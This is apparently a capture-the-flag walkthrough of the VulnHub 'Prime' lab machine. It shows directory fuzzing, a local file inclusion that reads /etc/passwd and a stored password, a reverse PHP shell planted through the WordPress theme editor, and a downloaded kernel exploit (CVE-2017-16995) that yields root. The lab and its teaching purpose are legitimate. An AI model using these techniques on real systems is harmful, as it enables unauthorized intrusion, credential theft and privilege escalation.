FUZZING WEB DIRECTORIES

CRED GAIN USING LFI

REVERSE PHP SHELL

KERNEL EXPLOIT TO ROOT

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 2048 8d:c5:20:23:ab:10:ca:de:e2:fb:e5:cd:4d:2d:4d:72 (RSA)

| 256 94:9c:f8:6f:5c:f1:4c:11:95:7f:0a:2c:34:76:50:0b (ECDSA)

|_ 256 4b:f6:f1:25:b6:13:26:d4:fc:9e:b0:72:9f:f4:69:68 (ED25519)

80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

|_http-server-header: Apache/2.4.18 (Ubuntu)

|_http-title: HacknPentest

root@kali:/home/kali/Desktop/vulnhub/prime# gobuster dir -u http://prime -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

/wordpress (Status: 301)

/dev (Status: 200)

/javascript (Status: 301)

/server-status (Status: 403)

/secret.txt (Status: 200)

/index.php (Status: 200)

/image.php (Status: 200)

wordpress/wp-content (Status: 301)

wordpress/wp-includes (Status: 301)

wordpress/wp-admin (Status: 301)

http://prime/secret.txt

Looks like you have got some secrets.

Ok I just want to do some help to you.

Do some more fuzz on every page of php which was finded by you. And if

you get any right parameter then follow the below steps. If you still stuck

Learn from here a basic tool with good usage for OSCP.

https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web

//see the location.txt and you will get your next move//

http://website-ip/index.php?FUZZ=something

http://prime/index.php?file=location.txt

<html>

<title>HacknPentest</title>

<body>

</body>

Do something better

ok well Now you reah at the exact parameter

Now dig some more for next one
use 'secrettier360' parameter on some other php page for more fun.

</html>

http://prime/image.php?secrettier360=/etc/passwd

victor:x:1000:1000:victor,,,:/home/victor:/bin/bash mysql:x:121:129:MySQL Server,,,:/nonexistent:/bin/false saket:x:1001:1001:find password.txt file in my directory:/home/saket: sshd:x:122:65534::/var/run/sshd:/usr/sbin/nologin

http://prime/image.php?secrettier360=/home/saket/password.txt

username:victor

password:follow_the_ippsec

http://10.10.10.24/wordpress/wp-admin/theme-editor.php?file=secret.php&theme=twentynineteen

http://10.10.10.24/wordpress/wp-content/themes/twentynineteen/secret.php

nc –nlvp 8082

SHELL GAINED!!!!!!!!!

Linux ubuntu 4.10.0-28-generic #32~16.04.2-Ubuntu SMP Thu Jul 20 10:19:48 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

https://www.exploit-db.com/exploits/45058

root@kali:/home/kali/Desktop/tools# searchsploit BPF Sign Extension Local Privilege Escalation

https://github.com/kkamagui/linux-kernel-exploits/tree/master/kernel-4.10.0-28-generic/CVE-2017-16995

root@kali:/home/kali/Desktop/vulnhub/prime# python -m SimpleHTTPServer 80

www-data@ubuntu:/tmp$ wget 10.10.10.20/exploit.c

www-data@ubuntu:/tmp$ gcc exploit.c -o exploit

www-data@ubuntu:/tmp$ chmod +x exploit

www-data@ubuntu:/tmp$ ./exploit

[.]

[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)

[.]

[.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **

[.]

[*] creating bpf map

[*] sneaking evil bpf past the verifier

[*] creating socketpair()

[*] attaching bpf backdoor to socket

[*] skbuff => ffff97eb38d2a100

[*] Leaking sock struct from ffff97eb38315000

[*] Sock->sk_rcvtimeo at offset 592

[*] Cred structure at ffff97eb30cf3440

[*] UID from cred structure: 33, matches the current: 33

[*] hammering cred structure at ffff97eb30cf3440

[*] credentials patched, launching shell...

whoami

root